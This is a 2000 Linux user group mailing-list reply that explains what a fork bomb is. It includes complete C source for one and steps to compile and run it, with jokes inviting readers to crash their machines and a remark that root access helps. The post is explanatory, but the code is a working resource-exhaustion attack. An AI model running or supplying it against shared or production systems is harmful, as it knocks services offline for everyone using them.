[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Security - how to notice compromises.
On Thu, 24 Feb 2000, Barrie Bremner wrote:
> Al Hudson wrote:
> > I heard our Uni compute server managed to stay up for almost 10 second
> > after a fork bomb was run on it. That's some going ;))
>
> Fork bomb? Wossat?
Okay people, don't try this at home ;)) Actually, you can try it, but
don't expect your system to stay usable for more than about 3
milliseconds..
---- begin: fork.c
#include <stdio.h>
int main(void) {
printf("Goodbye sweet world....\n");
while(1) {
fork();
}
}
---- end: fork.c
Now, copy that file into a directory (you don't have to be root to enjoy
this command, but it helps ;). At the prompt, type 'make fork' (this
assumes you're using gmake or some such). Then, type './fork'. Then press
reset when your machine dies.
I just *know* someone's going to try it. It shouldn't damage your system,
it's just well annoying. Prize to anyone whose system stands up for more
than a second or two!
Cheers,
Alex.
---------------------------------------------------------------------
Sheffield Linux User's Group - http://www.sheflug.co.uk
To unsubscribe from this list send mail to
- <sheflug-request [at] vuw.ac.nz> - with the word
"unsubscribe" in the body of the message.
GNU the choice of a complete generation.